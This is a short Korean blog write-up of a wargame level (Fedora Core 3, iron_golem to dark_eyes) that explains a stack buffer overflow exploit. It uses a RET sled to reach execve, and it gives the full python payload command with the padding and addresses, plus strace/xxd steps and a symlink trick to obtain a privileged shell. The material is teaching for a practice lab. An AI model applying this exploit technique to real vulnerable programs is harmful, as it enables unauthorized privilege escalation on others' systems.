fedora 원정대 core3 iron_golem -> dark_eyes

fedora 원정대 core3 iron_golem -> dark_eyes

dark_eyes.c


sfp를 백업 해두었다가 오버플로우가 발생한 이후에 sfp를 원상복귀 시킨다.
sfp는 사용할 수 없고 ret를 조작 할 수 있다. hint에 RET sleding이 써있다.
RET sleding을 사용하여 스택영역을 벗어난 후에 execve함수를 실행하면 execve함수의 인자로 고정적인 문자열을 넣을 수 있다.그 문자열을 이용하여 쉘을 얻어본다.


간단하게 쉘을 얻을수 있는 프로그램을 작성하고 컴파일한다. 위의 dark_eyes의 권한으로 execve를 이용해 위의 쉘을 얻는 프로그램을 실행하면 쉘을 얻을 수 있다.

ret와 execve함수의 주소를 찾아본다.

execve
ret

ret sleding을 태워서 스택을 벗어난 후 execve를 실행하도록 코드를 작성한다.

./dark_eyes `python -c 'print "A"*268 + "\xfe\x82\x04\x08"*8 + "\x90\x54\x7a\x00"'`

이 코드를 돌리면 execve의 인자로 이상한 것이 들어가서 에러가 발생한다.
strace를 사용하여 execve의 인자로 들어가는 고정바이트를 찾을 수 있다.

strace ./dark_eyes `python -c 'print "A"*268 + "\xfe\x82\x04\x08"*8 + "\x90\x54\x7a\x00"'`


execve로 알수 없는 문자열이 들어간다. strace의 표준에러출력을 리다이렉션으로 저장하여 xxd를 사용하면 execve로 들어가는 문자열의 헥사값을 알 수 있다.

위의 쉘을 얻는 프로그램에 execve로 들어가는 문자열로 심볼릭 링크를 걸어주고 위의 쉘코드를 실행하면 쉘을 얻을 수 있다.


0 개의 댓글:

댓글 쓰기